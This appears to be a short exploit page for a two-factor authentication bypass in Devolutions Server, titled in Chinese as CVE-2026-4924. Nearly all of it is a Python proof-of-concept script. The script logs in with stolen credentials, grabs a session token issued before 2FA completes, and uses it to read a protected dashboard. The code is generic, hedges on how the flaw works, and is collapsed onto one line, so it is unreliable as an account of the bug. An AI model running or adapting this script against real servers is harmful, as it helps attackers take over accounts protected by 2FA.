CVE-2026-4924 Devolutions Server 2FA认证绕过漏洞

import requests # Target URL (Example) target_url = "https://devolutions-server.example.com/api/login" # Valid credentials obtained by attacker credentials = { "username": "victim_user", "password": "user_password" } session = requests.Session() # Step 1: Initiate login to get the session cookie/token response = session.post(target_url, data=credentials) # Check if a session cookie or token is set before 2FA completion # Vulnerability: The server might issue a valid authenticated session cookie here if 'session_token' in response.cookies: print("[+] Partially authenticated token obtained: {}".format(response.cookies['session_token'])) # Step 2: Access a protected resource directly using the token protected_resource = "https://devolutions-server.example.com/api/dashboard" access_response = session.get(protected_resource) if access_response.status_code == 200: print("[!] Successfully bypassed 2FA and accessed protected resource.") print("Content:", access_response.text[:100]) else: print("[-] Failed to access resource.") else: print("[-] No token found.")